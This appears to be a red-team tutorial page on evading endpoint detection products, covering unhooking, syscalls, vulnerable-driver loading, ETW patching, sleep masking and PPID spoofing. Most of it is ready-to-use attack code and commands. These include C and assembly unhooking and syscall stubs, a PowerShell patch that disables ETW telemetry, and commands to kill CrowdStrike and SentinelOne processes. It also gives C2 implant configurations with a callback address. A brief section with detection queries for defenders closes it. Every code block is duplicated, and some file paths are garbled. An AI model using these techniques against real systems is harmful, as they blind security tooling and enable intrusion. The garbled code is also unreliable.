EDR Bypass Techniques
Modern EDR products (Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Carbon Black) use userland hooks, kernel callbacks, ETW telemetry, and machine learning to detect threats. This guide covers systematic approaches to understanding and bypassing each detection layer during authorized red team engagements.
Danger
📚 Quick Navigation
📖 Architecture
⚡ Techniques
🎭 Operational
🎯 Why EDR Bypass Knowledge Is Essential
- EDR Is the New Perimeter: With most orgs running next-gen EDR, the ability to operate around it determines engagement success.
- Realistic Testing: If you can't bypass EDR, you can't test the organization's actual defenses — you're only testing the EDR vendor.
- Continuous Arms Race: EDR vendors update detection weekly. Understanding the architecture (not just point bypasses) ensures adaptability.
- Report Value: Demonstrating EDR bypass provides the most impactful finding for mature organizations.
EDR Detection Layers
| Layer | Mechanism | What It Detects | Bypass Approach |
|---|---|---|---|
| Userland Hooks | ntdll.dll function hooking (inline JMP) | API calls: NtAllocateVirtualMemory, NtWriteProcessMemory, etc. | Direct syscalls, unhooking, fresh ntdll copy |
| Kernel Callbacks | PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks | Process creation, thread injection, handle operations | BYOVD, callback removal, indirect execution |
| ETW Providers | Microsoft-Windows-Threat-Intelligence, .NET CLR | .NET assembly loads, AMSI scans, memory operations | ETW patching, provider disablement |
| ML / Behavioral | Cloud-side analytics, behavioral patterns | Anomalous process trees, known attack chains | PPID spoofing, sleep masking, living-off-the-land |
| Static Analysis | Signature scanning, YARA rules, import analysis | Known tool signatures, suspicious imports | Obfuscation, custom tooling, reflective loading |
Per-EDR Analysis
Microsoft Defender for Endpoint
Hooks: ntdll via InstrumentationCallback. Kernel: WdFilter.sys minifilter. Heavy ETW reliance (TI provider). Cloud ML for behavioral detection.
Key: Disable ETW TI provider + AMSI patch + sleep obfuscation
CrowdStrike Falcon
Hooks: Heavy ntdll hooking of key functions. Kernel: csagent.sys with kernel callbacks + minifilter. Strong behavioral engine. Tamper protection.
Key: Direct syscalls essential. Avoid common injection patterns. Custom loaders.
SentinelOne
Hooks: Inline hooks on ntdll + kernel32. Kernel: SentinelMonitor.sys. ML-heavy with autonomous response. Can roll back ransomware.
Key: Fresh ntdll loading + indirect syscalls + memory encryption
Carbon Black (VMware)
Hooks: API hooks + driver-level monitoring. Strong on process tree analysis. Script block logging integration.
Key: Avoid suspicious parent-child relationships. Use COM/WMI for execution.
Testing Methodology
# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match
'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }
# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match
'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }
# Driver enumeration — shows kernel-level protection
fltMC.exe # Lists minifilter drivers
driverquery /v | findstr /i "crowd sentinel carbon defender"
# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe
# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match
'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }
# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match
'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }
# Driver enumeration — shows kernel-level protection
fltMC.exe # Lists minifilter drivers
driverquery /v | findstr /i "crowd sentinel carbon defender"
# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe
# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)Userland Unhooking
EDR hooks work by modifying the first bytes of ntdll.dll functions (inline hooking) to redirect execution to EDR inspection code. Unhooking restores the original function bytes, removing the EDR's visibility.
// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\
tdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation
// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\
tdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\
tdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);
// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\
tdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation
// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\
tdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\
tdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);
// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);# PowerShell unhooking (using reflection)
# Warning: AMSI must be bypassed first or this will be caught
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Parse PE headers, find .text section, overwrite in memory
# BokuLoader / NimlineWhispers — automated unhooking during C2 loading
# These are integrated into modern C2 implants (Sliver, Havoc)# PowerShell unhooking (using reflection)
# Warning: AMSI must be bypassed first or this will be caught
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Parse PE headers, find .text section, overwrite in memory
# BokuLoader / NimlineWhispers — automated unhooking during C2 loading
# These are integrated into modern C2 implants (Sliver, Havoc)Direct & Indirect Syscalls
Instead of unhooking, bypass the hooks entirely by making syscalls directly. Direct syscalls execute
the syscall instruction from your code; indirect syscalls jump into the middle of the real
ntdll function (after the hook) or use the syscall stub from ntdll itself.
| Approach | Tool / Framework | How It Works |
|---|---|---|
| Direct Syscall | SysWhispers3 | Generate syscall stubs at compile time. syscall instruction executes from your binary — bypasses all userland hooks but detectable via call stack analysis. |
| Indirect Syscall | HellsGate / HalosGate | Resolve syscall numbers at runtime by walking ntdll exports. Jump to the syscall instruction inside ntdll itself, so the call stack looks legitimate. |
| Hooked Recovery | TartarusGate | If the target function is hooked (JMP instead of mov r10, rcx), search neighboring Nt* stubs for clean syscall numbers and calculate the target by offset. |
| Trampoline | RecycledGate | Use any unhooked Nt* function's syscall stub as a trampoline — no need to find the specific function's stub. |
// Direct syscall stub (x64 MASM) — generated by SysWhispers3
// python3 syswhispers.py -a x64 -l masm -f NtAllocateVirtualMemory,NtProtectVirtualMemory
.code
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h ; SSN for NtAllocateVirtualMemory (version-specific)
syscall
ret
NtAllocateVirtualMemory ENDP
// Indirect syscall variant — jump to syscall inside ntdll
NtAllocateVirtualMemory_Indirect PROC
mov r10, rcx
mov eax, 18h
jmp qword ptr [syscallAddr] ; Points into ntdll's .text section
NtAllocateVirtualMemory_Indirect ENDP
// HalosGate — runtime syscall number resolution (C pseudocode)
DWORD GetSSN(LPCSTR funcName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* func = (BYTE*)GetProcAddress(ntdll, funcName);
// Check if function is hooked (first bytes should be: mov r10, rcx; mov eax, SSN)
if (func[0] == 0x4c && func[1] == 0x8b && func[2] == 0xd1) {
return *(DWORD*)(func + 4); // Clean — read SSN directly
}
// Hooked — search neighboring stubs (HalosGate technique)
for (int i = 1; i < 500; i++) {
// Check function above
if (*(func - i*32) == 0x4c && *(func - i*32 + 1) == 0x8b) {
return *(DWORD*)(func - i*32 + 4) + i; // SSN = neighbor + offset
}
// Check function below
if (*(func + i*32) == 0x4c && *(func + i*32 + 1) == 0x8b) {
return *(DWORD*)(func + i*32 + 4) - i;
}
}
return 0;
}// Direct syscall stub (x64 MASM) — generated by SysWhispers3
// python3 syswhispers.py -a x64 -l masm -f NtAllocateVirtualMemory,NtProtectVirtualMemory
.code
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h ; SSN for NtAllocateVirtualMemory (version-specific)
syscall
ret
NtAllocateVirtualMemory ENDP
// Indirect syscall variant — jump to syscall inside ntdll
NtAllocateVirtualMemory_Indirect PROC
mov r10, rcx
mov eax, 18h
jmp qword ptr [syscallAddr] ; Points into ntdll's .text section
NtAllocateVirtualMemory_Indirect ENDP
// HalosGate — runtime syscall number resolution (C pseudocode)
DWORD GetSSN(LPCSTR funcName) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* func = (BYTE*)GetProcAddress(ntdll, funcName);
// Check if function is hooked (first bytes should be: mov r10, rcx; mov eax, SSN)
if (func[0] == 0x4c && func[1] == 0x8b && func[2] == 0xd1) {
return *(DWORD*)(func + 4); // Clean — read SSN directly
}
// Hooked — search neighboring stubs (HalosGate technique)
for (int i = 1; i < 500; i++) {
// Check function above
if (*(func - i*32) == 0x4c && *(func - i*32 + 1) == 0x8b) {
return *(DWORD*)(func - i*32 + 4) + i; // SSN = neighbor + offset
}
// Check function below
if (*(func + i*32) == 0x4c && *(func + i*32 + 1) == 0x8b) {
return *(DWORD*)(func + i*32 + 4) - i;
}
}
return 0;
}BYOVD (Bring Your Own Vulnerable Driver)
BYOVD loads a legitimately signed but vulnerable kernel driver to gain kernel-level code execution. From the kernel, you can remove EDR kernel callbacks, disable drivers, and operate with zero userland visibility.
| Vulnerable Driver | CVE / Capability | Use Case |
|---|---|---|
| dbutil_2_3.sys | CVE-2021-21551 — arbitrary kernel R/W | Dell firmware utility, used by EDRSandBlast |
| gdrv.sys | Arbitrary kernel R/W | GIGABYTE driver, used by KDU |
| procexp152.sys | Kill any process | Process Explorer driver, used by Backstab |
| amsdk.sys | Arbitrary kernel R/W | Zemana AntiMalware driver |
| iqvw64e.sys | Arbitrary kernel R/W | Intel Network Adapter Diagnostic Driver |
Full driver list at loldrivers.io. Tools: EDRSandBlast (automated callback removal), KDU (multi-driver support), Backstab (kill protected EDR processes via procexp driver).
# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv
# EDRSandBlast — full EDR neutralization
# Loads vuln driver, removes kernel callbacks, patches ETW TI
EDRSandBlast.exe --usermode --kernelmode
# Backstab — kill EDR process via Process Explorer driver
Backstab.exe -n CrowdStrike.exe -k
Backstab.exe -n SentinelAgent.exe -k
# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sys# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv
# EDRSandBlast — full EDR neutralization
# Loads vuln driver, removes kernel callbacks, patches ETW TI
EDRSandBlast.exe --usermode --kernelmode
# Backstab — kill EDR process via Process Explorer driver
Backstab.exe -n CrowdStrike.exe -k
Backstab.exe -n SentinelAgent.exe -k
# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sysDanger
ETW Blinding
ETW (Event Tracing for Windows) is a primary telemetry source for EDR. Key providers to blind:
Microsoft-Windows-Threat-Intelligence (kernel-level, requires BYOVD — tracks memory allocations, unbacked code execution)
and .NET CLR ETW (userland, patchable — tracks assembly loading). The technique patches
EtwEventWrite in ntdll to return immediately, similar to AMSI bypass.
# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
(([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
GetType('Win32')).GetModules()[0])
$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)
# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"
# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-process# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
(([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
GetType('Win32')).GetModules()[0])
$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)
# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"
# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-processKernel Callback Removal
EDR products register kernel callbacks to monitor process creation (PsSetCreateProcessNotifyRoutine),
thread creation (PsSetCreateThreadNotifyRoutine), image/DLL loading (PsSetLoadImageNotifyRoutine),
handle operations (ObRegisterCallbacks), registry (CmRegisterCallbackEx), and filesystem
events (minifilter FltRegisterFilter). Removing these callbacks with a BYOVD driver blinds the EDR
while its process continues running. Note: most EDR products have tamper protection that detects their own callback removal.
# EDRSandBlast — enumerate all registered kernel callbacks
EDRSandBlast.exe --kernelmode --enum
# Remove all EDR-registered kernel callbacks
EDRSandBlast.exe --kernelmode --remove-all
# Targeted: remove only CrowdStrike callbacks
EDRSandBlast.exe --kernelmode --remove-driver csagent.sys
# Combine with usermode patches for full EDR neutralization
EDRSandBlast.exe --usermode --kernelmode
# Verify callback removal — check if EDR minifilter is still active
fltMC.exe instances
fltMC.exe filters# EDRSandBlast — enumerate all registered kernel callbacks
EDRSandBlast.exe --kernelmode --enum
# Remove all EDR-registered kernel callbacks
EDRSandBlast.exe --kernelmode --remove-all
# Targeted: remove only CrowdStrike callbacks
EDRSandBlast.exe --kernelmode --remove-driver csagent.sys
# Combine with usermode patches for full EDR neutralization
EDRSandBlast.exe --usermode --kernelmode
# Verify callback removal — check if EDR minifilter is still active
fltMC.exe instances
fltMC.exe filtersSleep Obfuscation (Sleep Masking)
When an implant sleeps (beacon interval), its code sits in memory where EDR scanners can detect known C2 patterns. Sleep obfuscation encrypts the beacon in memory during sleep and decrypts it when the callback timer fires.
| Technique | Mechanism | Framework Support |
|---|---|---|
| Ekko | Uses CreateTimerQueueTimer + NtContinue to mark memory RW, encrypt with RC4/AES, sleep, decrypt on wake, restore RX permissions. | Havoc (built-in), custom |
| Foliage | APC-based sleep with encryption — queues APCs to handle memory permission and crypto operations. | Custom implementations |
| DeathSleep | Releases all RX memory during sleep — no detectable executable regions remain. Most evasive. | Custom implementations |
| Call Stack Spoofing | Fakes the sleeping thread's call stack to point to kernel32/ntdll. Defeats stack-based memory scanning. | Cobalt Strike (ThreadStackSpoofer), custom |
// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";
// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";
// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
--evasion --skip-symbols
// Havoc — Ekko-style sleep masking is enabled by default
// Configure via Demon builder options:
// Demon { Sleep = "Ekko"; Injection { Alloc = "Native/Syscall"; } }
// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
// a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
// b. SystemFunction032(beacon_data, &key) // RC4 encrypt
// c. WaitForSingleObject(hEvent, sleep_ms)
// d. SystemFunction032(beacon_data, &key) // RC4 decrypt
// e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";
// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";
// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
--evasion --skip-symbols
// Havoc — Ekko-style sleep masking is enabled by default
// Configure via Demon builder options:
// Demon { Sleep = "Ekko"; Injection { Alloc = "Native/Syscall"; } }
// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
// a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
// b. SystemFunction032(beacon_data, &key) // RC4 encrypt
// c. WaitForSingleObject(hEvent, sleep_ms)
// d. SystemFunction032(beacon_data, &key) // RC4 decrypt
// e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);PPID Spoofing & Process Attributes
// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process
// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exe// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process
// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exeOPSEC Tips
Avoid Fork & Run
Use inline execution (BOFs) instead of spawning sacrificial processes — every new process is a detection opportunity.
Use Legitimate Parent Processes
Spawn from expected parents (explorer.exe for user processes, svchost for services) to avoid process tree anomalies.
Encrypt Everything in Memory
Never leave shellcode, strings, or C2 configs in plaintext memory — use sleep masking + string encryption.
Blend C2 Traffic
Use malleable C2 profiles that mimic legitimate traffic patterns. Jitter your beacon intervals randomly.
Detection & Blue Team
| Source | Detection |
|---|---|
| Sysmon Event 10 | Cross-process access to LSASS or ntdll.dll with suspicious GrantedAccess masks |
| Sysmon Event 7 | Unsigned or known-vulnerable driver loaded (BYOVD detection) |
| ETW Gaps | Missing telemetry from EtwEventWrite patching — correlate expected vs. actual event volume |
| Kernel Callbacks | Monitor callback registration changes; alert on PsSetCreateProcessNotifyRoutine removal |
| Memory Scanners | Periodic unbacked executable memory scans; detect RWX → RX transitions (sleep masking artifacts) |
| Call Stack Analysis | Unbacked return addresses in system call stacks indicate direct/indirect syscall usage |
// KQL — Detect BYOVD (vulnerable driver loading)
DeviceEvents
| where ActionType == "DriverLoad"
| where SHA256 in (known_vulnerable_driver_hashes)
| project Timestamp, DeviceName, FileName, SHA256, FolderPath
// KQL — Detect direct syscalls via unbacked call stacks
DeviceEvents
| where ActionType == "NtAllocateVirtualMemory"
| where InitiatingProcessFileName !in ("svchost.exe","services.exe")
| where AdditionalFields has "Unbacked"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName// KQL — Detect BYOVD (vulnerable driver loading)
DeviceEvents
| where ActionType == "DriverLoad"
| where SHA256 in (known_vulnerable_driver_hashes)
| project Timestamp, DeviceName, FileName, SHA256, FolderPath
// KQL — Detect direct syscalls via unbacked call stacks
DeviceEvents
| where ActionType == "NtAllocateVirtualMemory"
| where InitiatingProcessFileName !in ("svchost.exe","services.exe")
| where AdditionalFields has "Unbacked"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName